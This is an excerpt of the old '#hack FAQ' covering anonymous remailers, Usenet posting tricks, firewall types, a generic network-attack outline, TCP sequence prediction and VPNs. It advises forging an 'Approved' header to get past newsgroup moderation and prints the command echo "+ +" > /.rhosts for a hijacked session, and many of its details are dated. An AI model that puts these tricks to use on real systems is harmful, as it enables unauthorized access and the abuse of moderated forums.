To set this up, one first encrypts one's own email address with multiple layers of encryption. Then, using an encrypted channel, one sends the encrypted address to the alias server, along with the nickname that one would like. The alias server registers the encrypted address in the database. The alias server then handles reply mail in much the same way as anon.penet.fi, except that the mail is forwarded to the chain of anonymous remailers.
For maximum security, the user can arrange it so that, at each link in the chain, the remailer adds another layer of encryption to the message while removing one layer from the email address. When the user finally gets the email, it is encrypted in multiple layers. The matryoshka has to be opened one doll at a time until the plaintext message hidden inside is revealed.
One other point is that the remailers must be reliable in order for all this to work. This is especially true when a chain of remailers is used -- if any one of the remailers is not working, then the message will be dropped. This is why I maintain a list of reliable remailers. By choosing reliable remailers to start with, there is a good chance the message will finally get there.
To see a comprehensive list on anonymous remailers point your web
browser to http://anon.efga.org/Remailers.
For more information regarding anonymous email, check out http://web.rge.com/pub/security/cypherpunks/.
The following URL's allow you to send anonymous e-mail via the world wide web:
http://www.anonymizer.com http://members.ozemail.com.au/~geoffk/anon/anon.html
127.0.0.1 is a loopback network connection. If you telnet, ftp, etc... to it you are connected to your own machine.
Usenet messages consist of message headers and message bodies. The message header tells the news software how to process the message. Headers can be divided into two types, required and optional. Required headers are ones like "From" and "Newsgroups." Without the required headers, your message will not be posted properly.
One of the optional headers is the "Approved" header. To post to a moderated newsgroup, simply add an Approved header line to your message header. The header line should contain the newsgroup moderators e-mail address. To see the correct format for your target newsgroup, save a message from the newsgroup and then look at it using any text editor.
A "Approved" header line should look like this:
Approved: voyager@sekurity.org
There cannot not be a blank line in the message header. A blank line will cause any portion of the header after the blank line to be interpreted as part of the message body.
For more information, read RFC 1036: Standard for Interchange of USENET messages.
Through an e-mail->Usenet gateway. Send an a e-mail messages to <newsgroup>@<servername>. For example, to post to alt.2600 through nic.funet.fi, address your mail to alt.2600@nic.funet.fi.
Here are a few e-mail->Usenet gateways:
group.name@news.demon.co.uk
group.name@charm.magnus.acs.ohio-state.edu group.name@undergrad.math.uwaterloo.ca group.name@nic.funet.fi
group.name.usenet@decwrl.dec.com
A firewall is a system that is set up to control traffic flow between two networks. Firewalls are most commonly specially configured Unix systems, but firewalls have also been built out of many other systems, including systems designed specifically for use as firewalls. The most common firewall today is CheckPoint FireWall-1, but competitions such as Cisco's PIX are quickly catching up on CheckPoint.
Many people disagree on the definiton of a firewall, and in this discussion I will use the term loosely.
One type of firewall is the packet filtering firewall. In a packet filtering firewall, the firewall examines five characteristics of a packet:
Source IP address
Source port
Destination IP address
Destination port
IP protocol (TCP or UDP)
Based upon rules configured into the firewall, the packet will either be allowed through, rejected, or dropped. If the firewall rejects the packet, it sends a message back to the sender letting him know that the packet was rejected. If the packet was dropped, the firewall simply does not respond to the packet. The sender must wait for the communications to time out. Dropping packets instead of rejecting them greatly increases the time required to scan your network. Packet filtering firewalls operate on Layer 3 of the OSI model, the Network Layer. Routers are a very common form of packet filtering firewall.
An improved form of the packet filtering firewall is a packet filtering firewall with a stateful inspection engine. With this enhancement, the firewall "remembers" conversations between systems. It is then necessary to fully examine only the first packet of a conversation.
Another type of firewall is the application-proxy firewall. In a proxying firewall, every packet is stopped at the firewall. The packet is then examined and compared to the rules configured into the firewall. If the packet passes the examinations, it is re-created and sent out. Because each packet is destroyed and re-created, there is a potential that an application-proxy firewall can prevent unknown attacks based upon weaknesses in the TCP/IP protocol suite that would not be prevented by a packet filtering firewall. The drawback is that a separate application-proxy must be written for each application type being proxied. You need an HTTP proxy for web traffic, an FTP proxy for file transfers, a Gopher proxy for Gopher traffic, etc... Application-proxy firewalls operate on Layer 7 of the OSI model, the Application Layer.
Application-gateway firewalls also operate on Layer 7 of the OSI model. Application-gateway firewalls exist for only a few network applications. A typical application-gateway firewall is a system where you must telnet to one system in order telnet again to a system outside of the network.
Another type of application-proxy firewall are SOCKS firewalls. Where normal application-proxy firewalls do not require modifications to network clients, SOCKS firewalls requires specially modified network clients. This means you have to modify every system on your internal network which needs to communicate with the external network. On a Windows or OS/2 system, this can be as easy as swapping a few DLL's.
On a theoretical level, attacking a remote network across the Internet is very simple.
First, you research to discover all of the IP address ranges used by the target. Search the web, search Usenet, search Internet, search RIPE, search APNIC, search everywhere.
Second, you identify all hosts in those IP address ranges. This may be as simple as pinging each possible host in those networks. Be warned, however, that many hosts will be protected by firewalls that prvent ICMP ECHO Requests (used by ping) from reaching them. Those hosts may still have vulnerable services running on them.
Third, you identify all open ports on each of those hosts. For example, one host may be providing dns, bootp, and time services. This is normally done by "port scanning" the host. Port scanning UDP ports is much slower than port scanning TCP ports. TCP ports will respond negatively when they are not open. UDP ports require you to wait for a timeout. You may choose to scan only known ports, or to scan only ports below 1024, or to scan all 65,535 ports.
Fourth, you attack vulnerable services. If you see a time server running and you know of a time server exploit, you try it out. Perhaps the target is running an OS that is not vulnerable, or perhaps the system administrator has patched the target host. Or, maybe you will succeed. Vulnerability information can be gleaned from Internet WWW sites or mailing lists, traded privately, or developed on your own.
TCP is a reliable connection-oriented layer 4 (Transport Layer) protocol. Packet transfer between hosts is accomplished by the layers below layer 4 and TCP takes responsibility to making certain the packets are delivered to higher layers in the protocol stack in the correct order. To accomplish this reordering task, TCP uses the sequence number field.
To successfully mount a TCP sequence prediction attack, you must first listen to communications between two systems, one of which is your target system. Then, you issue packets from your system to the target system with the source IP address of the trusted system that is communicating with the target system.
The packets you issue must have the sequence numbers that the target system is expecting. In addition, your packets must arrive before the packets from the trusted system whose connection you are hijacking. To accomplish this, it is often necessary to flood the trusted system off of the network with some form of denial of service attack.
Once you have taken over the connection, you can send data to allow you to access the target host using a normal TCP/IP connection. The most simple way to do this is:
echo "+ +" > /.rhosts
This specific technique relies upon inherent weaknesses in the BSD Unix `r` services. However, SunRPC, NFS, X-Windows, and many other services which rely upon IP address authentication can be exploited with a TCP sequence prediction attack.
An excerpt from RFC 793 concering the generation of TCP sequence numbers:
When new connections are created, an initial sequence number (ISN) generator is employed which selects a new 32 bit ISN. The generator is bound to a (possibly fictitious) 32 bit clock whose low order bit is incremented roughly every 4 microseconds. Thus, the ISN cycles approximately every 4.55 hours. Since we assume that segments will stay in the network no more than the Maximum Segment Lifetime (MSL) and that the MSL is less than 4.55 hours we can reasonably assume that ISN's will be unique.
The developers of the BSD Unix TCP/IP stack did not follow these recommendations. TCP/IP stacks based upon BSD Unix increase the sequence number by 128,000 every second and by 64,000 for every new TCP connection. This is significantly more predictable than the algorithm specified in the RFC.
TCP sequence prediction attacks are stopped by any router or firewall that is configured not to allow packets from an internal IP address to originate from an external interface.
TCP Header Format
-----------------
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
A traditional private network consists of leased lines connecting multiple sites together. An example would be two offices connected by a point-to-point T-1 line.
Connecting multiple sites together over the Internet is usually less expensive than leasing dedicated circuits. One risk in using the Internet as a transport medium is the risk of data interception by unauthorized parties. When data is moved across the Internet, it should be considered public knowledge.
A VPN (Virtual Private Network) solves that problem. A VPN is an encrypted tunnel between two endpoints.
VPN tunnels are created using a tunneling protocol such as L2TP and secured using a protocol such as IPsec. L2TP is described in RFC 2661: Layer Two Tunneling Protocol "L2TP". IPsec is described in RFC 3193: Securing L2TP using IPsec.
| #hack FAQ Home | Computers | Data Networks | Wireless Networks | Telephony | Mobile Telephony |
| Radio | Television | Resources | 2600 | Smart Cards and Magnetic Cards | Miscellaneous |
| © 1994 - 2003 HackFAQ.org
All Rights Reserved |